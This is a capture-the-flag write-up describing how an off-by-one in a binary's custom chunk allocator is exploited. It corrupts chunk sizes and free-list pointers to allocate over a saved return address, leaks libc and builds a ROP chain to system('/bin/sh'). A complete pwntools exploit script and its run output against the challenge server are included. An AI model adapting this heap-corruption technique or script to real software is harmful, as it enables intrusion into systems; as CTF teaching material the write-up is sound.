In this challenge we were given 64 bit, dynamically linked, stripped LSB executable.
First let’s take a look at the protections enforced on the binary :
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
Okay, so only Canary and NX.
Now coming to the binary , the disassembly of the executable is pretty huge and I did not reverse the whole thing but only a part of the binary. It basically mmaps 4 chunks of size 0x1000 and splits each of the four chunks into equal sizes of 0x40+16, 0x80+16, 0x100+16 and 0x200+16 respectively. Lets call the arena of each of the large chunks (of size 0x1000) as freelist because, well, they are empty and free to be used. The 16 bytes in each of the smaller chunks is for the metadata (size and next pointer) of the smaller chunk. The following is the structure of each of the smaller chunks.
first 8 bytes – Size (i.e 0x40, 0x80, 0x100 or 0x200)
Next 8 bytes – Pointer to next free chunk
Next size bytes – data
Here is a diagram to make things clearer.
The structure repeats throughout each of the bigger chunks (of size 0x1000 each). Now there are also pointers to the first free chunk in each of the 4 arena’s (of size 0x40, 0x80, 0x100 or 0x200).
The binary is menu driven with 5 functions – allocate block, delete block, write to last block, print last block and exit. Lets take a closer look at each of the functions.
The allocate function takes in the size of the chunk to be allocated and based on that unlinks a chunk from the corresponding freelist.
The write function writes to the the data part of the last allocated block using for loop that reads in a character at a time.
The delete function takes in the address of the last allocated block. It then checks the size of the block (present in the first 8 bytes of the block). If the size is either of 0x40, 0x80, 0x100,0x200 it inserts the chunk in the beginning of the corresponding freelist. Now this is the first free chunk in the corresponding arena and when the next allocation of a chunk of this arena is needed, this chunk will be returned.
The print function prints the data part of the last allocated chunk and the exit function…, well it causes the main to return, exiting the function :).
Now let’s come to the vulnerability in this binary. Firstly notice that the binary is printing an address, which is actually a stack address. So the stack leak is given to us. Now take a look at the write functionality’s for loop that actually writes into the chunk.
The for loop is running from i=0 to i<=size. Notice the =. So we can read in one byte more than the size we entered. Now if we allocate a chunk of, say, 0x40 bytes then we can overwrite the size of the next chunk. Let’s say we changed the size of the next chunk to 0x80. Now when the next chunk, let’s name it chunk A, is deleted, it will be placed in the arena with chunks of size 0x80. So when the next allocation of a chunk of size 0x80 takes place chunk A, of size 0x40, is returned. Since we can write upto 0x80 bytes and our chunk is only 0x40 bytes, we can overwrite the next pointer of the chunk immediately following chunk A, which will be a chunk of size 0x40, since we have basically overflowed a chunk in the arena with chunks of size 0x40. So when the next chunk of size 0x40 is allocated the pointer to the first free chunk of the arena with size 0x40 points to the address in the next pointer of the currently allocated chunk, which is the value which we have overwritten.
Now, we already have a stack leak, so we know the address of saved eip. If we overwrite the next pointer with address of saved eip – 0x10, when the next chunk is allocated, the pointer to the first free chunk of the arena, points to saved eip – 0x10. So the next block to be allocated will start start at saved eip-0x10, and we have write access to (saved eip) – 0x10 + 0x10 = saved eip (the first 0x10 bytes of the chunk are metadata, i.e they contain the size and next pointer of chunk).
This diagram explains the overflow :
Now if we print the data in this chunk, the data in the saved eip, which is a libc address, will be printed out. So we can find the addresses of system and a pointer to ‘/bin/sh’. After this we can use the write functionality to overwrite saved eip with a gadget to pop rdi, followed by address of pointer to ‘/bin/sh’, followed by the address of system. After this, if we invoke the exit functionality, the gadget is executed and the pointer to ‘/bin/sh’ is put in rdi. Then system is executed giving us the shell and yessssss the flag :).
So lets put together our exploit –
- Allocate a chunk of size 0x40
- Write 64 bytes of junk followed by 0x80 (i.e chr(0x80) 0r ‘\x80’)
- Allocate another chunk of 0x40 bytes (the size field of this chunk has been corrupted to 0x80)
- Delete this chunk (head of free list of chunks of size 0x80 will point to this chunk now)
- Allocate a chunk of size 0x80 (chunk of size 0x40 is returned)
- Write 0x40 bytes of junk followed by ‘\x40’ (overwrite the size field of next chunk with the correct size) followed by saved eip – 0x10 (over write next pointer of next chunk with address of saved eip – 0x10)
- Allocate a chunk of size 0x40 (the chunk whose next pointer we overwrote is returned)
- Allocate another chunk of size 0x40 (this chunk will lie in the stack and start at sved eip – 0x10 => address of data field of this chunk = saved eip)
- Print contents of this chunk (libc leak)
- Write address of gadget, followed by pointer to ‘/bin/sh’, followed by address of system.
- Exit the program.
Here’s the python script for the exploit :
from pwn import * import sys if len(sys.argv) > 1: r=remote('pwn.chal.csaw.io',5223) else: r=process('./true') pop_rdi=0x0000000000404653 # pop rdi ; ret pop_rsi=0x00000000004051f8 # pop rsi ; ret def get_stack_addr(): r.recvuntil(':') leak=r.recvuntil('\n').strip() leak=int(leak,16) return leak def allocate(size): r.recvuntil('Exit') r.sendline('1') r.sendline(str(size)) def delete(): r.recvuntil('Exit') r.sendline('2') def write(data,s=False): r.recvuntil('Exit') r.sendline('3') sleep(0.1) if s: r.sendline(data) else: r.send(data) def puts(): r.recvuntil('Exit') r.sendline('4') if __name__=='__main__': stack = get_stack_addr() #recieve the stack leak allocate(0x40) payload="A"*0x40+chr(0x80) write(payload) #overwrite the size of the next chunk allocate(0x40) #the value in this chunks size field has been overwritten to 0x80 delete() #putting chunk in head of freelist of 0x80 arena allocate(0x80) #this allocates the chunks with size 0x40 payload="A"*0x40+p64(0x40)+p64(stack+0x80-8) write(payload,True) #overwrite next ptr of the next chunk allocate(0x40) #now the head of free list of 0x40 arena points to saved eip-0x10 allocate(0x40) #allocates a chunk at saved eip-0x10 =&amp;gt; data at saved eip puts() #print value at saved eip i.e libc leak leak=r.recvuntil('1)').replace('\n','').replace(' ','').replace('1)','').ljust(8,"\x00") leak=u64(leak) print "----------------" print "libc leak = "+hex(leak) print "----------------" system = leak+150368 binsh = leak+1492199 payload=p64(pop_rdi) payload+=p64(binsh) payload+=p64(system) write(payload,True) #overwrite saved eip with payload r.sendline('5') #after main returns, pop rdi pops ptr to /bin/sh in rdi and #then control goes to system with arguement as ptr to /bin/sh (rdi) r.recvuntil('Exit') r.interactive() #get the shell
And now for the best part – getting the flag 🙂
$ python exploit.py 123
[+] Opening connection to pwn.chal.csaw.io on port 5223: Done
libc leak = 0x7fd0c203f830
[*] Switching to interactive mode
$ cat flag
And so the flag was :
Leave a Reply